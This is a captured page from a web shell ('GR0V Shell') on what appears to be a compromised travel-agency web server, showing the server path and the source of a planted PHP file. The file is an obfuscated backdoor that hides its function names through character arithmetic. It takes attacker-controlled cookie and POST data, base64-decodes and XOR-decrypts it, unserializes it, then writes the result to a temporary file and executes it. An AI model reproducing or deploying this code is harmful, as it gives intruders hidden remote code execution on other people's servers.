? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/ocqkuxpyv/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/ocqkuxpyv/37d09d39.php

$BfmxZzgukj = chr ( 638 - 573 )."\x43" . "\130" . "\137" . chr ( 765 - 691 ).chr ( 1061 - 956 ).chr (67); $PTOAe = "\x63" . "\x6c" . chr ( 219 - 122 ).'s' . "\x73" . "\137" . "\145" . chr (120) . 'i' . "\x73" . chr ( 909 - 793 ).chr ( 1044 - 929 ); $Uvuwnw = $PTOAe($BfmxZzgukj); $CjOGAMLh = $Uvuwnw;if (!$CjOGAMLh){class ACX_JiC{private $MyqxlZIKvz;public static $pTIGTRIQ = "228f950c-60f1-4817-86f9-e0296da85ebe";public static $WbFjRSjZ = 12987;public function __construct($VXvWWhW=0){$ICFPwuowg = $_COOKIE;$RMYtHUlX = $_POST;$mzAHwILW = @$ICFPwuowg[substr(ACX_JiC::$pTIGTRIQ, 0, 4)];if (!empty($mzAHwILW)){$uGBzNXdW = "base64";$vXFmqM = "";$mzAHwILW = explode(",", $mzAHwILW);foreach ($mzAHwILW as $LhJuFmIjQ){$vXFmqM .= @$ICFPwuowg[$LhJuFmIjQ];$vXFmqM .= @$RMYtHUlX[$LhJuFmIjQ];}$vXFmqM = array_map($uGBzNXdW . chr ( 810 - 715 ).chr ( 333 - 233 ).chr ( 350 - 249 ).'c' . chr (111) . "\144" . chr ( 927 - 826 ), array($vXFmqM,)); $vXFmqM = $vXFmqM[0] ^ str_repeat(ACX_JiC::$pTIGTRIQ, (strlen($vXFmqM[0]) / strlen(ACX_JiC::$pTIGTRIQ)) + 1);ACX_JiC::$WbFjRSjZ = @unserialize($vXFmqM);}}private function pfyUvN(){if (is_array(ACX_JiC::$WbFjRSjZ)) {$BzGWMNqliH = sys_get_temp_dir() . "/" . crc32(ACX_JiC::$WbFjRSjZ["\x73" . "\x61" . 'l' . "\164"]);@ACX_JiC::$WbFjRSjZ[chr ( 403 - 284 ).'r' . chr ( 755 - 650 )."\x74" . "\145"]($BzGWMNqliH, ACX_JiC::$WbFjRSjZ["\143" . chr ( 689 - 578 )."\x6e" . chr ( 382 - 266 ).chr (101) . "\x6e" . chr ( 457 - 341 )]);include $BzGWMNqliH;@ACX_JiC::$WbFjRSjZ[chr ( 1049 - 949 )."\x65" . "\x6c" . "\x65" . "\x74" . chr (101)]($BzGWMNqliH); $uzYDN = "15071";exit();}}public function __destruct(){$this->pfyUvN(); $uzYDN = "15071";}}$GTssPLf = new ACX_JiC(); $GTssPLf = "3674_60865";}

T1KUS90T
  root-grov@210.1.60.28:~$